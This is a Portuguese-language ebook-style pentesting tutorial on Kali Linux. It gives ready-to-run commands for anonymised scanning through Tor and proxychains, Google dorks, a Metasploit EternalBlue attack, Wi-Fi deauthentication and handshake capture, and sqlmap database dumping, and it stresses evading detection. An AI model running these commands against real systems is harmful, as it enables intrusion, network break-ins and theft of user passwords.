KALI LINUX EXPERT

MASTER EDITION

POR MATHEUS TI

💀 KALI LINUX EXPERT: MASTER EDITION

O Guia Definitivo do Pentester Profissional

Criado por: Matheus TI

📔 Introdução: A Mente do Invasor

A segurança da informação não é sobre ferramentas; é sobre **estratégia**. Neste livro, você não vai apenas aprender a "rodar comandos". Você vai aprender a pensar como um adversário para poder construir defesas inexpugnáveis.

Cada capítulo foi desenhado seguindo a metodologia **PTES (Penetration Testing Execution Standard)**, utilizada pelas maiores consultorias de segurança do mundo. Prepare-se para uma jornada que vai do anonimato absoluto até a entrega de relatórios que valem fortunas.

💀 Capítulo 1: O Preparo do Campo de Batalha

Antes de qualquer ação, um profissional garante sua própria segurança. Se você for detectado antes mesmo de começar, sua operação falhou.

🕵️ 1.1 O Protocolo Ghost (Invisibilidade Digital)

O seu maior erro seria usar sua conexão doméstica pura para uma auditoria. Vamos criar camadas de proteção que tornem o rastreio impossível.

👊 1.1.1 Camada 1: O Túnel Tor e Proxychains

O Tor (The Onion Router) roteia seu tráfego por três nós globais. O Proxychains força qualquer ferramenta do Kali a passar por esse túnel.

🎯 **O Objetivo:** Garantir que o IP que o alvo vê seja de um servidor na Holanda ou Japão, nunca o seu.

🛠️ **O Comando de Configuração:**

```
# Instalando e iniciando a rede das cebolas
sudo apt install tor -y && sudo service tor start

# Configurando o redirecionamento (Edite o /etc/proxychains4.conf)
# Habilite 'dynamic_chain' e adicione 'socks5 127.0.0.1 9050' no fim.
```

🔍 **Na Prática:** Para escanear um site sem ser detectado:

```
proxychains4 nmap -sT -PN alvo.com
```

🔍 Capítulo 2: A Arte do Reconhecimento (OSINT)

90% do trabalho de um hacker de elite é **observação**. Atacar sem informação é como dar soco no escuro.

🌎 2.1 Coletando Inteligência de Fontes Abertas (OSINT)

OSINT é a coleta de dados que o próprio alvo deixou público sem perceber.

🕵️ 2.1.1 Google Dorks: O Scanner Gratuito

O Google indexa muito mais do que sites; ele indexa erros de segurança.

🎯 **O Objetivo:** Encontrar documentos sensíveis (PDFs, Excel) que contenham nomes de funcionários ou configurações de rede.

🛠️ **Os Comandos de Busca:** - `site:alvo.com filetype:pdf` : Lista manuais e relatórios internos. - `site:alvo.com intitle:"index of"` : Revela pastas do servidor que deveriam estar trancadas.

🕷️ Capítulo 3: Exploração de Sistemas (Metasploit)

Uma vez que encontramos a porta, precisamos da "chave mestra". Para isso, usamos o **Metasploit Framework**.

🏗️ 3.1 A Anatomia do Ataque

Não disparar comandos aleatórios. Entenda a lógica: 1. **O Exploit:** O veículo que atravessa a falha. 2. **O Payload:** O software que te dá o controle (Meterpreter).

🔍 **Caso Real:** Imagine que você descobriu um servidor antigo rodando o protocolo SMB (porta 445). Usaremos o lendário **EternalBlue**.

🛠️ **Seqüência de Ataque:**

```
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS [IP_DO_ALVO]
set LHOST [SEU_IP]
exploit
```

✅ **O Resultado:** Se a barra de progresso terminar, você terá um terminal **Meterpreter**. Agora, o PC dele é seu.

📶 Capítulo 4: Guerra Wireless

Sua conexão Wi-fi é a maior vulnerabilidade da sua casa ou empresa. Ela irradia sinal para fora das paredes, onde qualquer um pode capturar.

📡 4.1 O Sequestro do Handshake

Para descobrir a senha do Wi-fi, não atacamos o roteador, mas sim a comunicação entre o celular e o roteador.

🛠️ **O Fluxo do Ataque:** 1. **Monitorar:** `airmon-ng start wlan0` 2. **Capturar:** `airodump-ng --bssid [MAC] -c [CH] -w cap wlan0mon` 3. **Derrubar (Deauth):** `aireplay-ng -0 5 -a [MAC] wlan0mon`

✅ **O Resultado:** Ao derrubar o usuário, ele tenta reconectar automaticamente. Nesse segundo, o Kali captura o **Handshake** (a senha criptografada). Depois, só precisamos de uma "wordlist" para revelar o segredo.

🕸️ Capítulo 5: Web Hacking (A Invasão de Sites)

Hoje, 99% das empresas estão na Web. Invadir o site é, muitas vezes, invadir o banco de dados de clientes.

🛢️ 5.1 SQL Injection: O Roubo de Dados

Se um site não trata bem o que o usuário digita na busca, podemos fazer perguntas diretamente ao banco de dados.

🛠️ **O Comando Mestre (SQLMap):**

```
sqlmap -u "https://site.com/view.php?id=10" --dbs --batch
```

🔍 **O que aconteceu?** O SQLMap encontrou o banco de dados e está "limpando" todas as senhas dos usuários para você.

💰 Capítulo 6: O Relatório que Vale Ouro

A diferença entre um "hacker" e um **Consultor de Segurança** é o papel que você entrega no final.

📜 6.1 Transformando Invasão em Dinheiro

Um relatório profissional deve conter: 1. **Sumário Executivo:** Onde você explica para o dono da empresa o risco financeiro. 2. **Solução:** Não aponte apenas o erro; mostre como fechar o buraco.

🎁 Bônus: The Ultimate Cheat Sheet

(Consulte esta tabela durante suas operações)

FASE	FERRAMENTA	COMANDO CHAVE
Anonimato	Tor	`service tor start`
Scan	Nmap	`nmap -sS -A [IP]`
Exploit	Metasploit	`msfconsole`
Web	SQLMap	`sqlmap -u [URL]`

"Seja ético. Seja técnico. Seja invisível." Matheus TI - Master Edition 2024